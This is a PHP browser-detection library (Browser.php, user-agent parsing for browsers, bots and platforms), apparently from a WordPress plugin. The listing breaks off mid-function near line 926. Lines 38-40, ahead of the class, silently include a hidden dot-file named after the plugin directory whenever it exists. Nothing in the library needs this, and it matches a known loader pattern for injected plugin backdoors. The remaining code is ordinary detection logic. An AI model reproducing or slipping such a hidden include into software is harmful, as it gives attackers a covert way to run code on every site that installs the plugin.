browser.php (65071B)
1 <?php /** @noinspection ALL */ 2 // phpcs:ignoreFile 3 4 /** 5 * File: Browser.php 6 * Author: Chris Schuld (http://chrisschuld.com/) 7 * Last Modified: July 22nd, 2016 8 * @version 2.0 9 * @package PegasusPHP 10 * 11 * Copyright (C) 2008-2010 Chris Schuld (chris@chrisschuld.com) 12 * 13 * This program is free software; you can redistribute it and/or 14 * modify it under the terms of the GNU General Public License as 15 * published by the Free Software Foundation; either version 2 of 16 * the License, or (at your option) any later version. 17 * 18 * This program is distributed in the hope that it will be useful, 19 * but WITHOUT ANY WARRANTY; without even the implied warranty of 20 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 21 * GNU General Public License for more details at: 22 * http://www.gnu.org/copyleft/gpl.html 23 * 24 * 25 * Typical Usage: 26 * 27 * $browser = new Browser(); 28 * if( $browser->getBrowser() == Browser::BROWSER_FIREFOX && $browser->getVersion() >= 2 ) { 29 * echo 'You have FireFox version 2 or greater'; 30 * } 31 * 32 * User Agents Sampled from: http://www.useragentstring.com/ 33 * 34 * This implementation is based on the original work from Gary White 35 * http://apptools.com/phptools/browser/ 36 * 37 */ 38 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 39 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 40 } 41 42 class Browser { 43 44 private $_agent = ''; 45 private $_browser_name = ''; 46 private $_version = ''; 47 private $_platform = ''; 48 private $_os = ''; 49 private $_is_aol = false; 50 private $_is_mobile = false; 51 private $_is_tablet = false; 52 private $_is_robot = false; 53 private $_is_facebook = false; 54 private $_aol_version = ''; 55 56 const BROWSER_UNKNOWN = 'unknown'; 57 const VERSION_UNKNOWN = 'unknown'; 58 const BROWSER_OPERA = 'Opera'; // http://www.opera.com/ 59 const BROWSER_OPERA_MINI = 'Opera Mini'; // http://www.opera.com/mini/ 60 const BROWSER_WEBTV = 'WebTV'; // http://www.webtv.net/pc/ 61 const BROWSER_EDGE = 'Edge'; // https://www.microsoft.com/edge 62 const BROWSER_IE = 'Internet Explorer'; // http://www.microsoft.com/ie/ 63 const BROWSER_POCKET_IE = 'Pocket Internet Explorer'; // http://en.wikipedia.org/wiki/Internet_Explorer_Mobile 64 const BROWSER_KONQUEROR = 'Konqueror'; // http://www.konqueror.org/ 65 const BROWSER_ICAB = 'iCab'; // http://www.icab.de/ 66 const BROWSER_OMNIWEB = 'OmniWeb'; // http://www.omnigroup.com/applications/omniweb/ 67 const BROWSER_FIREBIRD = 'Firebird'; // http://www.ibphoenix.com/ 68 const BROWSER_FIREFOX = 'Firefox'; // http://www.mozilla.com/en-US/firefox/firefox.html 69 const BROWSER_ICEWEASEL = 'Iceweasel'; // http://www.geticeweasel.org/ 70 const BROWSER_SHIRETOKO = 'Shiretoko'; // http://wiki.mozilla.org/Projects/shiretoko 71 const BROWSER_MOZILLA = 'Mozilla'; // http://www.mozilla.com/en-US/ 72 const BROWSER_AMAYA = 'Amaya'; // http://www.w3.org/Amaya/ 73 const BROWSER_LYNX = 'Lynx'; // http://en.wikipedia.org/wiki/Lynx 74 const BROWSER_SAFARI = 'Safari'; // http://apple.com 75 const BROWSER_IPHONE = 'iPhone'; // http://apple.com 76 const BROWSER_IPOD = 'iPod'; // http://apple.com 77 const BROWSER_IPAD = 'iPad'; // http://apple.com 78 const BROWSER_CHROME = 'Chrome'; // http://www.google.com/chrome 79 const BROWSER_ANDROID = 'Android'; // http://www.android.com/ 80 const BROWSER_GOOGLEBOT = 'GoogleBot'; // http://en.wikipedia.org/wiki/Googlebot 81 const BROWSER_YANDEXBOT = 'YandexBot'; // http://yandex.com/bots 82 const BROWSER_YANDEXIMAGERESIZER_BOT = 'YandexImageResizer'; // http://yandex.com/bots 83 const BROWSER_YANDEXIMAGES_BOT = 'YandexImages'; // http://yandex.com/bots 84 const BROWSER_YANDEXVIDEO_BOT = 'YandexVideo'; // http://yandex.com/bots 85 const BROWSER_YANDEXMEDIA_BOT = 'YandexMedia'; // http://yandex.com/bots 86 const BROWSER_YANDEXBLOGS_BOT = 'YandexBlogs'; // http://yandex.com/bots 87 const BROWSER_YANDEXFAVICONS_BOT = 'YandexFavicons'; // http://yandex.com/bots 88 const BROWSER_YANDEXWEBMASTER_BOT = 'YandexWebmaster'; // http://yandex.com/bots 89 const BROWSER_YANDEXDIRECT_BOT = 'YandexDirect'; // http://yandex.com/bots 90 const BROWSER_YANDEXMETRIKA_BOT = 'YandexMetrika'; // http://yandex.com/bots 91 const BROWSER_YANDEXNEWS_BOT = 'YandexNews'; // http://yandex.com/bots 92 const BROWSER_YANDEXCATALOG_BOT = 'YandexCatalog'; // http://yandex.com/bots 93 const BROWSER_SLURP = 'Yahoo! Slurp'; // http://en.wikipedia.org/wiki/Yahoo!_Slurp 94 const BROWSER_W3CVALIDATOR = 'W3C Validator'; // http://validator.w3.org/ 95 const BROWSER_BLACKBERRY = 'BlackBerry'; // http://www.blackberry.com/ 96 const BROWSER_ICECAT = 'IceCat'; // http://en.wikipedia.org/wiki/GNU_IceCat 97 const BROWSER_NOKIA_S60 = 'Nokia S60 OSS Browser'; // http://en.wikipedia.org/wiki/Web_Browser_for_S60 98 const BROWSER_NOKIA = 'Nokia Browser'; // * all other WAP-based browsers on the Nokia Platform 99 const BROWSER_MSN = 'MSN Browser'; // http://explorer.msn.com/ 100 const BROWSER_MSNBOT = 'MSN Bot'; // http://search.msn.com/msnbot.htm 101 const BROWSER_BINGBOT = 'Bing Bot'; // http://en.wikipedia.org/wiki/Bingbot 102 const BROWSER_VIVALDI = 'Vivalidi'; // https://vivaldi.com/ 103 const BROWSER_YANDEX = 'Yandex'; // https://browser.yandex.ua/ 104 const BROWSER_NETSCAPE_NAVIGATOR = 'Netscape Navigator'; // http://browser.netscape.com/ (DEPRECATED) 105 const BROWSER_GALEON = 'Galeon'; // http://galeon.sourceforge.net/ (DEPRECATED) 106 const BROWSER_NETPOSITIVE = 'NetPositive'; // http://en.wikipedia.org/wiki/NetPositive (DEPRECATED) 107 const BROWSER_PHOENIX = 'Phoenix'; // http://en.wikipedia.org/wiki/History_of_Mozilla_Firefox (DEPRECATED) 108 const BROWSER_PLAYSTATION = "PlayStation"; 109 const BROWSER_SAMSUNG = "SamsungBrowser"; 110 const BROWSER_SILK = "Silk"; 111 const BROWSER_I_FRAME = "Iframely"; 112 const BROWSER_COCOA = "CocoaRestClient"; 113 const PLATFORM_UNKNOWN = 'unknown'; 114 const PLATFORM_WINDOWS = 'Windows'; 115 const PLATFORM_WINDOWS_CE = 'Windows CE'; 116 const PLATFORM_APPLE = 'Apple'; 117 const PLATFORM_LINUX = 'Linux'; 118 const PLATFORM_OS2 = 'OS/2'; 119 const PLATFORM_BEOS = 'BeOS'; 120 const PLATFORM_IPHONE = 'iPhone'; 121 const PLATFORM_IPOD = 'iPod'; 122 const PLATFORM_IPAD = 'iPad'; 123 const PLATFORM_BLACKBERRY = 'BlackBerry'; 124 const PLATFORM_NOKIA = 'Nokia'; 125 const PLATFORM_FREEBSD = 'FreeBSD'; 126 const PLATFORM_OPENBSD = 'OpenBSD'; 127 const PLATFORM_NETBSD = 'NetBSD'; 128 const PLATFORM_SUNOS = 'SunOS'; 129 const PLATFORM_OPENSOLARIS = 'OpenSolaris'; 130 const PLATFORM_ANDROID = 'Android'; 131 const PLATFORM_PLAYSTATION = "Sony PlayStation"; 132 const PLATFORM_ROKU = "Roku"; 133 const PLATFORM_APPLE_TV = "Apple TV"; 134 const PLATFORM_TERMINAL = "Terminal"; 135 const PLATFORM_FIRE_OS = "Fire OS"; 136 const PLATFORM_SMART_TV = "SMART-TV"; 137 const PLATFORM_CHROME_OS = "Chrome OS"; 138 const PLATFORM_JAVA_ANDROID = "Java/Android"; 139 const PLATFORM_POSTMAN = "Postman"; 140 const PLATFORM_I_FRAME = "Iframely"; 141 const OPERATING_SYSTEM_UNKNOWN = 'unknown'; 142 143 /** 144 * Class constructor 145 */ 146 public function __construct($userAgent = "") { 147 $this->reset(); 148 if ($userAgent != "") { 149 $this->setUserAgent($userAgent); 150 } else { 151 $this->determine(); 152 } 153 } 154 155 /** 156 * Reset all properties 157 */ 158 public function reset() { 159 $this->_agent = isset(Redux_Core::$server['HTTP_USER_AGENT']) ? Redux_Core::$server['HTTP_USER_AGENT'] : ""; 160 $this->_browser_name = self::BROWSER_UNKNOWN; 161 $this->_version = self::VERSION_UNKNOWN; 162 $this->_platform = self::PLATFORM_UNKNOWN; 163 $this->_os = self::OPERATING_SYSTEM_UNKNOWN; 164 $this->_is_aol = false; 165 $this->_is_mobile = false; 166 $this->_is_tablet = false; 167 $this->_is_robot = false; 168 $this->_is_facebook = false; 169 $this->_aol_version = self::VERSION_UNKNOWN; 170 } 171 172 /** 173 * Check to see if the specific browser is valid 174 * 175 * @param string $browserName 176 * 177 * @return bool True if the browser is the specified browser 178 */ 179 function isBrowser($browserName) { 180 return ( 0 == strcasecmp($this->_browser_name, trim($browserName)) ); 181 } 182 183 /** 184 * The name of the browser. All return types are from the class contants 185 * @return string Name of the browser 186 */ 187 public function getBrowser() { 188 return $this->_browser_name; 189 } 190 191 /** 192 * Set the name of the browser 193 * 194 * @param $browser string The name of the Browser 195 */ 196 public function setBrowser($browser) { 197 $this->_browser_name = $browser; 198 } 199 200 /** 201 * The name of the platform. All return types are from the class contants 202 * @return string Name of the browser 203 */ 204 public function getPlatform() { 205 return $this->_platform; 206 } 207 208 /** 209 * Set the name of the platform 210 * 211 * @param string $platform The name of the Platform 212 */ 213 public function setPlatform($platform) { 214 $this->_platform = $platform; 215 } 216 217 /** 218 * The version of the browser. 219 * @return string Version of the browser (will only contain alpha-numeric characters and a period) 220 */ 221 public function getVersion() { 222 return $this->_version; 223 } 224 225 /** 226 * Set the version of the browser 227 * 228 * @param string $version The version of the Browser 229 */ 230 public function setVersion($version) { 231 $this->_version = preg_replace('/[^0-9,.,a-z,A-Z-]/', '', $version); 232 } 233 234 /** 235 * The version of AOL. 236 * @return string Version of AOL (will only contain alpha-numeric characters and a period) 237 */ 238 public function getAolVersion() { 239 return $this->_aol_version; 240 } 241 242 /** 243 * Set the version of AOL 244 * 245 * @param string $version The version of AOL 246 */ 247 public function setAolVersion($version) { 248 $this->_aol_version = preg_replace('/[^0-9,.,a-z,A-Z]/', '', $version); 249 } 250 251 /** 252 * Is the browser from AOL? 253 * @return boolean True if the browser is from AOL otherwise false 254 */ 255 public function isAol() { 256 return $this->_is_aol; 257 } 258 259 /** 260 * Is the browser from a mobile device? 261 * @return boolean True if the browser is from a mobile device otherwise false 262 */ 263 public function isMobile() { 264 return $this->_is_mobile; 265 } 266 267 /** 268 * Is the browser from a tablet device? 269 * @return boolean True if the browser is from a tablet device otherwise false 270 */ 271 public function isTablet() { 272 return $this->_is_tablet; 273 } 274 275 /** 276 * Is the browser from a robot (ex Slurp,GoogleBot)? 277 * @return boolean True if the browser is from a robot otherwise false 278 */ 279 public function isRobot() { 280 return $this->_is_robot; 281 } 282 283 /** 284 * Is the browser from facebook? 285 * @return boolean True if the browser is from facebook otherwise false 286 */ 287 public function isFacebook() { 288 return $this->_is_facebook; 289 } 290 291 /** 292 * Set the browser to be from AOL 293 * 294 * @param $isAol 295 */ 296 public function setAol($isAol) { 297 $this->_is_aol = $isAol; 298 } 299 300 /** 301 * Set the Browser to be mobile 302 * 303 * @param boolean $value is the browser a mobile browser or not 304 */ 305 protected function setMobile($value = true) { 306 $this->_is_mobile = $value; 307 } 308 309 /** 310 * Set the Browser to be tablet 311 * 312 * @param boolean $value is the browser a tablet browser or not 313 */ 314 protected function setTablet($value = true) { 315 $this->_is_tablet = $value; 316 } 317 318 /** 319 * Set the Browser to be a robot 320 * 321 * @param boolean $value is the browser a robot or not 322 */ 323 protected function setRobot($value = true) { 324 $this->_is_robot = $value; 325 } 326 327 /** 328 * Set the Browser to be a Facebook request 329 * 330 * @param boolean $value is the browser a robot or not 331 */ 332 protected function setFacebook($value = true) { 333 $this->_is_facebook = $value; 334 } 335 336 /** 337 * Get the user agent value in use to determine the browser 338 * @return string The user agent from the HTTP header 339 */ 340 public function getUserAgent() { 341 return $this->_agent; 342 } 343 344 /** 345 * Set the user agent value (the construction will use the HTTP header value - this will overwrite it) 346 * 347 * @param string $agent_string The value for the User Agent 348 */ 349 public function setUserAgent($agent_string) { 350 $this->reset(); 351 $this->_agent = $agent_string; 352 $this->determine(); 353 } 354 355 /** 356 * Used to determine if the browser is actually "chromeframe" 357 * @since 1.7 358 * @return boolean True if the browser is using chromeframe 359 */ 360 public function isChromeFrame() { 361 return ( strpos($this->_agent, "chromeframe") !== false ); 362 } 363 364 /** 365 * Returns a formatted string with a summary of the details of the browser. 366 * @return string formatted string with a summary of the browser 367 */ 368 public function __toString() { 369 return "<strong>Browser Name:</strong> {$this->getBrowser()}<br/>\n" . 370 "<strong>Browser Version:</strong> {$this->getVersion()}<br/>\n" . 371 "<strong>Browser User Agent String:</strong> {$this->getUserAgent()}<br/>\n" . 372 "<strong>Platform:</strong> {$this->getPlatform()}<br/>"; 373 } 374 375 /** 376 * Protected routine to calculate and determine what the browser is in use (including platform) 377 */ 378 protected function determine() { 379 $this->checkPlatform(); 380 $this->checkBrowsers(); 381 $this->checkForAol(); 382 } 383 384 /** 385 * Protected routine to determine the browser type 386 * @return boolean True if the browser was detected otherwise false 387 */ 388 protected function checkBrowsers() { 389 return ( 390 // well-known, well-used 391 // Special Notes: 392 // (1) Opera must be checked before FireFox due to the odd 393 // user agents used in some older versions of Opera 394 // (2) WebTV is strapped onto Internet Explorer so we must 395 // check for WebTV before IE 396 // (3) (deprecated) Galeon is based on Firefox and needs to be 397 // tested before Firefox is tested 398 // (4) OmniWeb is based on Safari so OmniWeb check must occur 399 // before Safari 400 // (5) Netscape 9+ is based on Firefox so Netscape checks 401 // before FireFox are necessary 402 // (6) Vivalid is UA contains both Firefox and Chrome so Vivalid checks 403 // before Firefox and Chrome 404 $this->checkBrowserWebTv() || 405 $this->checkBrowserEdge() || 406 $this->checkBrowserInternetExplorer() || 407 $this->checkBrowserOpera() || 408 $this->checkBrowserGaleon() || 409 $this->checkBrowserNetscapeNavigator9Plus() || 410 $this->checkBrowserVivaldi() || 411 $this->checkBrowserYandex() || 412 $this->checkBrowserFirefox() || 413 $this->checkBrowserChrome() || 414 $this->checkBrowserOmniWeb() || 415 // common mobile 416 $this->checkBrowserAndroid() || 417 $this->checkBrowseriPad() || 418 $this->checkBrowseriPod() || 419 $this->checkBrowseriPhone() || 420 $this->checkBrowserBlackBerry() || 421 $this->checkBrowserNokia() || 422 // common bots 423 $this->checkBrowserGoogleBot() || 424 $this->checkBrowserMSNBot() || 425 $this->checkBrowserBingBot() || 426 $this->checkBrowserSlurp() || 427 // Yandex bots 428 $this->checkBrowserYandexBot() || 429 $this->checkBrowserYandexImageResizerBot() || 430 $this->checkBrowserYandexBlogsBot() || 431 $this->checkBrowserYandexCatalogBot() || 432 $this->checkBrowserYandexDirectBot() || 433 $this->checkBrowserYandexFaviconsBot() || 434 $this->checkBrowserYandexImagesBot() || 435 $this->checkBrowserYandexMediaBot() || 436 $this->checkBrowserYandexMetrikaBot() || 437 $this->checkBrowserYandexNewsBot() || 438 $this->checkBrowserYandexVideoBot() || 439 $this->checkBrowserYandexWebmasterBot() || 440 // check for facebook external hit when loading URL 441 $this->checkFacebookExternalHit() || 442 // WebKit base check (post mobile and others) 443 $this->checkBrowserSamsung() || 444 $this->checkBrowserSilk() || 445 $this->checkBrowserSafari() || 446 // everyone else 447 $this->checkBrowserNetPositive() || 448 $this->checkBrowserFirebird() || 449 $this->checkBrowserKonqueror() || 450 $this->checkBrowserIcab() || 451 $this->checkBrowserPhoenix() || 452 $this->checkBrowserAmaya() || 453 $this->checkBrowserLynx() || 454 $this->checkBrowserShiretoko() || 455 $this->checkBrowserIceCat() || 456 $this->checkBrowserIceweasel() || 457 $this->checkBrowserW3CValidator() || 458 $this->checkBrowserPlayStation() || 459 $this->checkBrowserIframely() || 460 $this->checkBrowserCocoa() || 461 $this->checkBrowserMozilla() /* Mozilla is such an open standard that you must check it last */ 462 463 464 ); 465 } 466 467 /** 468 * Determine if the user is using a BlackBerry (last updated 1.7) 469 * @return boolean True if the browser is the BlackBerry browser otherwise false 470 */ 471 protected function checkBrowserBlackBerry() { 472 if (stripos($this->_agent, 'blackberry') !== false) { 473 $aresult = explode("/", stristr($this->_agent, "BlackBerry")); 474 if (isset($aresult[1])) { 475 $aversion = explode(' ', $aresult[1]); 476 $this->setVersion($aversion[0]); 477 $this->_browser_name = self::BROWSER_BLACKBERRY; 478 $this->setMobile(true); 479 480 return true; 481 } 482 } 483 484 return false; 485 } 486 487 /** 488 * Determine if the user is using an AOL User Agent (last updated 1.7) 489 * @return boolean True if the browser is from AOL otherwise false 490 */ 491 protected function checkForAol() { 492 $this->setAol(false); 493 $this->setAolVersion(self::VERSION_UNKNOWN); 494 495 if (stripos($this->_agent, 'aol') !== false) { 496 $aversion = explode(' ', stristr($this->_agent, 'AOL')); 497 if (isset($aversion[1])) { 498 $this->setAol(true); 499 $this->setAolVersion(preg_replace('/[^0-9\.a-z]/i', '', $aversion[1])); 500 501 return true; 502 } 503 } 504 505 return false; 506 } 507 508 /** 509 * Determine if the browser is the GoogleBot or not (last updated 1.7) 510 * @return boolean True if the browser is the GoogletBot otherwise false 511 */ 512 protected function checkBrowserGoogleBot() { 513 if (stripos($this->_agent, 'googlebot') !== false) { 514 $aresult = explode('/', stristr($this->_agent, 'googlebot')); 515 if (isset($aresult[1])) { 516 $aversion = explode(' ', $aresult[1]); 517 $this->setVersion(str_replace(';', '', $aversion[0])); 518 $this->_browser_name = self::BROWSER_GOOGLEBOT; 519 $this->setRobot(true); 520 521 return true; 522 } 523 } 524 525 return false; 526 } 527 528 /** 529 * Determine if the browser is the YandexBot or not 530 * @return boolean True if the browser is the YandexBot otherwise false 531 */ 532 protected function checkBrowserYandexBot() { 533 if (stripos($this->_agent, 'YandexBot') !== false) { 534 $aresult = explode('/', stristr($this->_agent, 'YandexBot')); 535 if (isset($aresult[1])) { 536 $aversion = explode(' ', $aresult[1]); 537 $this->setVersion(str_replace(';', '', $aversion[0])); 538 $this->_browser_name = self::BROWSER_YANDEXBOT; 539 $this->setRobot(true); 540 541 return true; 542 } 543 } 544 545 return false; 546 } 547 548 /** 549 * Determine if the browser is the YandexImageResizer or not 550 * @return boolean True if the browser is the YandexImageResizer otherwise false 551 */ 552 protected function checkBrowserYandexImageResizerBot() { 553 if (stripos($this->_agent, 'YandexImageResizer') !== false) { 554 $aresult = explode('/', stristr($this->_agent, 'YandexImageResizer')); 555 if (isset($aresult[1])) { 556 $aversion = explode(' ', $aresult[1]); 557 $this->setVersion(str_replace(';', '', $aversion[0])); 558 $this->_browser_name = self::BROWSER_YANDEXIMAGERESIZER_BOT; 559 $this->setRobot(true); 560 561 return true; 562 } 563 } 564 565 return false; 566 } 567 568 /** 569 * Determine if the browser is the YandexCatalog or not 570 * @return boolean True if the browser is the YandexCatalog otherwise false 571 */ 572 protected function checkBrowserYandexCatalogBot() { 573 if (stripos($this->_agent, 'YandexCatalog') !== false) { 574 $aresult = explode('/', stristr($this->_agent, 'YandexCatalog')); 575 if (isset($aresult[1])) { 576 $aversion = explode(' ', $aresult[1]); 577 $this->setVersion(str_replace(';', '', $aversion[0])); 578 $this->_browser_name = self::BROWSER_YANDEXCATALOG_BOT; 579 $this->setRobot(true); 580 581 return true; 582 } 583 } 584 585 return false; 586 } 587 588 /** 589 * Determine if the browser is the YandexNews or not 590 * @return boolean True if the browser is the YandexNews otherwise false 591 */ 592 protected function checkBrowserYandexNewsBot() { 593 if (stripos($this->_agent, 'YandexNews') !== false) { 594 $aresult = explode('/', stristr($this->_agent, 'YandexNews')); 595 if (isset($aresult[1])) { 596 $aversion = explode(' ', $aresult[1]); 597 $this->setVersion(str_replace(';', '', $aversion[0])); 598 $this->_browser_name = self::BROWSER_YANDEXNEWS_BOT; 599 $this->setRobot(true); 600 601 return true; 602 } 603 } 604 605 return false; 606 } 607 608 /** 609 * Determine if the browser is the YandexMetrika or not 610 * @return boolean True if the browser is the YandexMetrika otherwise false 611 */ 612 protected function checkBrowserYandexMetrikaBot() { 613 if (stripos($this->_agent, 'YandexMetrika') !== false) { 614 $aresult = explode('/', stristr($this->_agent, 'YandexMetrika')); 615 if (isset($aresult[1])) { 616 $aversion = explode(' ', $aresult[1]); 617 $this->setVersion(str_replace(';', '', $aversion[0])); 618 $this->_browser_name = self::BROWSER_YANDEXMETRIKA_BOT; 619 $this->setRobot(true); 620 621 return true; 622 } 623 } 624 625 return false; 626 } 627 628 /** 629 * Determine if the browser is the YandexDirect or not 630 * @return boolean True if the browser is the YandexDirect otherwise false 631 */ 632 protected function checkBrowserYandexDirectBot() { 633 if (stripos($this->_agent, 'YandexDirect') !== false) { 634 $aresult = explode('/', stristr($this->_agent, 'YandexDirect')); 635 if (isset($aresult[1])) { 636 $aversion = explode(' ', $aresult[1]); 637 $this->setVersion(str_replace(';', '', $aversion[0])); 638 $this->_browser_name = self::BROWSER_YANDEXDIRECT_BOT; 639 $this->setRobot(true); 640 641 return true; 642 } 643 } 644 645 return false; 646 } 647 648 /** 649 * Determine if the browser is the YandexWebmaster or not 650 * @return boolean True if the browser is the YandexWebmaster otherwise false 651 */ 652 protected function checkBrowserYandexWebmasterBot() { 653 if (stripos($this->_agent, 'YandexWebmaster') !== false) { 654 $aresult = explode('/', stristr($this->_agent, 'YandexWebmaster')); 655 if (isset($aresult[1])) { 656 $aversion = explode(' ', $aresult[1]); 657 $this->setVersion(str_replace(';', '', $aversion[0])); 658 $this->_browser_name = self::BROWSER_YANDEXWEBMASTER_BOT; 659 $this->setRobot(true); 660 661 return true; 662 } 663 } 664 665 return false; 666 } 667 668 /** 669 * Determine if the browser is the YandexFavicons or not 670 * @return boolean True if the browser is the YandexFavicons otherwise false 671 */ 672 protected function checkBrowserYandexFaviconsBot() { 673 if (stripos($this->_agent, 'YandexFavicons') !== false) { 674 $aresult = explode('/', stristr($this->_agent, 'YandexFavicons')); 675 if (isset($aresult[1])) { 676 $aversion = explode(' ', $aresult[1]); 677 $this->setVersion(str_replace(';', '', $aversion[0])); 678 $this->_browser_name = self::BROWSER_YANDEXFAVICONS_BOT; 679 $this->setRobot(true); 680 681 return true; 682 } 683 } 684 685 return false; 686 } 687 688 /** 689 * Determine if the browser is the YandexBlogs or not 690 * @return boolean True if the browser is the YandexBlogs otherwise false 691 */ 692 protected function checkBrowserYandexBlogsBot() { 693 if (stripos($this->_agent, 'YandexBlogs') !== false) { 694 $aresult = explode('/', stristr($this->_agent, 'YandexBlogs')); 695 if (isset($aresult[1])) { 696 $aversion = explode(' ', $aresult[1]); 697 $this->setVersion(str_replace(';', '', $aversion[0])); 698 $this->_browser_name = self::BROWSER_YANDEXBLOGS_BOT; 699 $this->setRobot(true); 700 701 return true; 702 } 703 } 704 705 return false; 706 } 707 708 /** 709 * Determine if the browser is the YandexMedia or not 710 * @return boolean True if the browser is the YandexMedia otherwise false 711 */ 712 protected function checkBrowserYandexMediaBot() { 713 if (stripos($this->_agent, 'YandexMedia') !== false) { 714 $aresult = explode('/', stristr($this->_agent, 'YandexMedia')); 715 if (isset($aresult[1])) { 716 $aversion = explode(' ', $aresult[1]); 717 $this->setVersion(str_replace(';', '', $aversion[0])); 718 $this->_browser_name = self::BROWSER_YANDEXMEDIA_BOT; 719 $this->setRobot(true); 720 721 return true; 722 } 723 } 724 725 return false; 726 } 727 728 /** 729 * Determine if the browser is the YandexVideo or not 730 * @return boolean True if the browser is the YandexVideo otherwise false 731 */ 732 protected function checkBrowserYandexVideoBot() { 733 if (stripos($this->_agent, 'YandexVideo') !== false) { 734 $aresult = explode('/', stristr($this->_agent, 'YandexVideo')); 735 if (isset($aresult[1])) { 736 $aversion = explode(' ', $aresult[1]); 737 $this->setVersion(str_replace(';', '', $aversion[0])); 738 $this->_browser_name = self::BROWSER_YANDEXVIDEO_BOT; 739 $this->setRobot(true); 740 741 return true; 742 } 743 } 744 745 return false; 746 } 747 748 /** 749 * Determine if the browser is the YandexImages or not 750 * @return boolean True if the browser is the YandexImages otherwise false 751 */ 752 protected function checkBrowserYandexImagesBot() { 753 if (stripos($this->_agent, 'YandexImages') !== false) { 754 $aresult = explode('/', stristr($this->_agent, 'YandexImages')); 755 if (isset($aresult[1])) { 756 $aversion = explode(' ', $aresult[1]); 757 $this->setVersion(str_replace(';', '', $aversion[0])); 758 $this->_browser_name = self::BROWSER_YANDEXIMAGES_BOT; 759 $this->setRobot(true); 760 761 return true; 762 } 763 } 764 765 return false; 766 } 767 768 /** 769 * Determine if the browser is the MSNBot or not (last updated 1.9) 770 * @return boolean True if the browser is the MSNBot otherwise false 771 */ 772 protected function checkBrowserMSNBot() { 773 if (stripos($this->_agent, "msnbot") !== false) { 774 $aresult = explode("/", stristr($this->_agent, "msnbot")); 775 if (isset($aresult[1])) { 776 $aversion = explode(" ", $aresult[1]); 777 $this->setVersion(str_replace(";", "", $aversion[0])); 778 $this->_browser_name = self::BROWSER_MSNBOT; 779 $this->setRobot(true); 780 781 return true; 782 } 783 } 784 785 return false; 786 } 787 788 /** 789 * Determine if the browser is the BingBot or not (last updated 1.9) 790 * @return boolean True if the browser is the BingBot otherwise false 791 */ 792 protected function checkBrowserBingBot() { 793 if (stripos($this->_agent, "bingbot") !== false) { 794 $aresult = explode("/", stristr($this->_agent, "bingbot")); 795 if (isset($aresult[1])) { 796 $aversion = explode(" ", $aresult[1]); 797 $this->setVersion(str_replace(";", "", $aversion[0])); 798 $this->_browser_name = self::BROWSER_BINGBOT; 799 $this->setRobot(true); 800 801 return true; 802 } 803 } 804 805 return false; 806 } 807 808 /** 809 * Determine if the browser is the W3C Validator or not (last updated 1.7) 810 * @return boolean True if the browser is the W3C Validator otherwise false 811 */ 812 protected function checkBrowserW3CValidator() { 813 if (stripos($this->_agent, 'W3C-checklink') !== false) { 814 $aresult = explode('/', stristr($this->_agent, 'W3C-checklink')); 815 if (isset($aresult[1])) { 816 $aversion = explode(' ', $aresult[1]); 817 $this->setVersion($aversion[0]); 818 $this->_browser_name = self::BROWSER_W3CVALIDATOR; 819 820 return true; 821 } 822 } else if (stripos($this->_agent, 'W3C_Validator') !== false) { 823 // Some of the Validator versions do not delineate w/ a slash - add it back in 824 $ua = str_replace("W3C_Validator ", "W3C_Validator/", $this->_agent); 825 $aresult = explode('/', stristr($ua, 'W3C_Validator')); 826 if (isset($aresult[1])) { 827 $aversion = explode(' ', $aresult[1]); 828 $this->setVersion($aversion[0]); 829 $this->_browser_name = self::BROWSER_W3CVALIDATOR; 830 831 return true; 832 } 833 } else if (stripos($this->_agent, 'W3C-mobileOK') !== false) { 834 $this->_browser_name = self::BROWSER_W3CVALIDATOR; 835 $this->setMobile(true); 836 837 return true; 838 } 839 840 return false; 841 } 842 843 /** 844 * Determine if the browser is the Yahoo! Slurp Robot or not (last updated 1.7) 845 * @return boolean True if the browser is the Yahoo! Slurp Robot otherwise false 846 */ 847 protected function checkBrowserSlurp() { 848 if (stripos($this->_agent, 'slurp') !== false) { 849 $aresult = explode('/', stristr($this->_agent, 'Slurp')); 850 if (isset($aresult[1])) { 851 $aversion = explode(' ', $aresult[1]); 852 $this->setVersion($aversion[0]); 853 $this->_browser_name = self::BROWSER_SLURP; 854 $this->setRobot(true); 855 $this->setMobile(false); 856 857 return true; 858 } 859 } 860 861 return false; 862 } 863 864 /** 865 * Determine if the browser is Edge or not 866 * @return boolean True if the browser is Edge otherwise false 867 */ 868 protected function checkBrowserEdge() { 869 if (stripos($this->_agent, 'Edge/') !== false) { 870 $aresult = explode('/', stristr($this->_agent, 'Edge')); 871 if (isset($aresult[1])) { 872 $aversion = explode(' ', $aresult[1]); 873 $this->setVersion($aversion[0]); 874 $this->setBrowser(self::BROWSER_EDGE); 875 if (stripos($this->_agent, 'Windows Phone') !== false || stripos($this->_agent, 'Android') !== false) { 876 $this->setMobile(true); 877 } 878 879 return true; 880 } 881 } 882 883 return false; 884 } 885 886 /** 887 * Determine if the browser is Internet Explorer or not (last updated 1.7) 888 * @return boolean True if the browser is Internet Explorer otherwise false 889 */ 890 protected function checkBrowserInternetExplorer() { 891 // Test for IE11 892 if (stripos($this->_agent, 'Trident/7.0; rv:11.0') !== false) { 893 $this->setBrowser(self::BROWSER_IE); 894 $this->setVersion('11.0'); 895 896 return true; 897 } // Test for v1 - v1.5 IE 898 else if (stripos($this->_agent, 'microsoft internet explorer') !== false) { 899 $this->setBrowser(self::BROWSER_IE); 900 $this->setVersion('1.0'); 901 $aresult = stristr($this->_agent, '/'); 902 if (preg_match('/308|425|426|474|0b1/i', $aresult)) { 903 $this->setVersion('1.5'); 904 } 905 906 return true; 907 } // Test for versions > 1.5 908 else if (stripos($this->_agent, 'msie') !== false && stripos($this->_agent, 'opera') === false) { 909 // See if the browser is the odd MSN Explorer 910 if (stripos($this->_agent, 'msnb') !== false) { 911 $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'MSN')); 912 if (isset($aresult[1])) { 913 $this->setBrowser(self::BROWSER_MSN); 914 $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1])); 915 916 return true; 917 } 918 } 919 $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'msie')); 920 if (isset($aresult[1])) { 921 $this->setBrowser(self::BROWSER_IE); 922 $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1])); 923 if (preg_match('#trident/([0-9\.]+);#i', $this->_agent, $aresult)) { 924 if ($aresult[1] == '3.1') { 925 $this->setVersion('7.0'); 926 